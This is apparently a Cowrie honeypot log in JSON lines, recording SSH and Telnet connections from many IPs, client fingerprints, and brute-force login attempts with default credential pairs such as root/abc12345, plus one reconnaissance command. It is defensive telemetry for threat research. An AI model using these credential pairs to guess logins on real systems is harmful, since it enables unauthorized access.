{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:51.306114Z","src_ip":"64.188.83.153","session":"14223853f7bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:13:51.311292Z","src_ip":"64.188.83.153","session":"2fb331b4f987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":13503,"dst_ip":"159.203.135.109","dst_port":22,"session":"23d9d5eeac2e","protocol":"ssh","message":"New connection: 193.46.255.86:13503 (159.203.135.109:22) [session: 23d9d5eeac2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:09.368177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:09.371523Z","src_ip":"193.46.255.86","session":"23d9d5eeac2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:09.501561Z","src_ip":"193.46.255.86","session":"23d9d5eeac2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"1234","message":"login attempt [telecomadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:10.095813Z","src_ip":"193.46.255.86","session":"23d9d5eeac2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:11.228398Z","src_ip":"193.46.255.86","session":"23d9d5eeac2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.123.173","src_port":36870,"dst_ip":"10.17.0.5","dst_port":22,"session":"3530fad6d961","protocol":"ssh","message":"New connection: 101.36.123.173:36870 (10.17.0.5:22) [session: 3530fad6d961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:21.608720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:21.612920Z","src_ip":"101.36.123.173","session":"3530fad6d961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":51236,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9f174abe1b3","protocol":"ssh","message":"New connection: 162.120.6.20:51236 (10.17.0.5:22) [session: d9f174abe1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:21.819652Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:21.829226Z","src_ip":"101.36.123.173","session":"3530fad6d961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:21.889215Z","src_ip":"162.120.6.20","session":"d9f174abe1b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":51246,"dst_ip":"10.17.0.5","dst_port":22,"session":"c83b305059e6","protocol":"ssh","message":"New connection: 162.120.6.20:51246 (10.17.0.5:22) [session: c83b305059e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:21.958460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:21.962763Z","src_ip":"162.120.6.20","session":"c83b305059e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:22.033108Z","src_ip":"162.120.6.20","session":"c83b305059e6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abc12345","message":"login attempt [root/abc12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:22.243418Z","src_ip":"162.120.6.20","session":"c83b305059e6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:22.412134Z","src_ip":"162.120.6.20","session":"c83b305059e6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:22.415520Z","src_ip":"162.120.6.20","session":"c83b305059e6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:22.489239Z","src_ip":"162.120.6.20","session":"c83b305059e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:22.494017Z","src_ip":"162.120.6.20","session":"c83b305059e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamcity","password":"1234","message":"login attempt [teamcity/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:22.728413Z","src_ip":"101.36.123.173","session":"3530fad6d961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:23.946744Z","src_ip":"101.36.123.173","session":"3530fad6d961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":34930,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c87356df6d4","protocol":"ssh","message":"New connection: 210.79.191.199:34930 (10.17.0.5:22) [session: 0c87356df6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:24.155315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:24.233755Z","src_ip":"210.79.191.199","session":"0c87356df6d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:24.468649Z","src_ip":"210.79.191.199","session":"0c87356df6d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ann","password":"ann","message":"login attempt [ann/ann] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:25.417423Z","src_ip":"210.79.191.199","session":"0c87356df6d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:26.660840Z","src_ip":"210.79.191.199","session":"0c87356df6d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.205.155","src_port":39044,"dst_ip":"10.17.0.5","dst_port":22,"session":"51789e4cb028","protocol":"ssh","message":"New connection: 207.180.205.155:39044 (10.17.0.5:22) [session: 51789e4cb028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:40.869766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:40.875398Z","src_ip":"207.180.205.155","session":"51789e4cb028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:40.974243Z","src_ip":"207.180.205.155","session":"51789e4cb028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.147.255","src_port":44846,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0a4e3fe0f1","protocol":"telnet","message":"New connection: 75.119.147.255:44846 (10.17.0.5:23) [session: 6d0a4e3fe0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:41.256304Z"}
{"eventid":"cowrie.login.failed","username":"remote","password":"remote123!","message":"login attempt [remote/remote123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:41.428904Z","src_ip":"207.180.205.155","session":"51789e4cb028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:14:42.526905Z","src_ip":"207.180.205.155","session":"51789e4cb028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":48840,"dst_ip":"10.17.0.5","dst_port":22,"session":"16f7d6970349","protocol":"ssh","message":"New connection: 165.154.6.86:48840 (10.17.0.5:22) [session: 16f7d6970349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:11.334926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:11.341175Z","src_ip":"165.154.6.86","session":"16f7d6970349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:11.555406Z","src_ip":"165.154.6.86","session":"16f7d6970349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.841777563095093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:12.097973Z","src_ip":"75.119.147.255","session":"6d0a4e3fe0f1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"Zabbix@123","message":"login attempt [zabbix/Zabbix@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:12.442345Z","src_ip":"165.154.6.86","session":"16f7d6970349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:13.657894Z","src_ip":"165.154.6.86","session":"16f7d6970349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":37930,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc6ded6c2a19","protocol":"ssh","message":"New connection: 64.188.83.153:37930 (10.17.0.5:22) [session: dc6ded6c2a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:21.138304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:21.142777Z","src_ip":"64.188.83.153","session":"dc6ded6c2a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:21.228508Z","src_ip":"64.188.83.153","session":"dc6ded6c2a19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mirror","password":"mirror","message":"login attempt [mirror/mirror] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:21.600682Z","src_ip":"64.188.83.153","session":"dc6ded6c2a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:22.689079Z","src_ip":"64.188.83.153","session":"dc6ded6c2a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":49652,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7628742ecb6","protocol":"ssh","message":"New connection: 210.79.191.18:49652 (10.17.0.5:22) [session: a7628742ecb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:31.370563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:31.374663Z","src_ip":"210.79.191.18","session":"a7628742ecb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:31.612713Z","src_ip":"210.79.191.18","session":"a7628742ecb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eder","password":"eder","message":"login attempt [eder/eder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:15:32.597824Z","src_ip":"210.79.191.18","session":"a7628742ecb6","protocol":"ssh"}
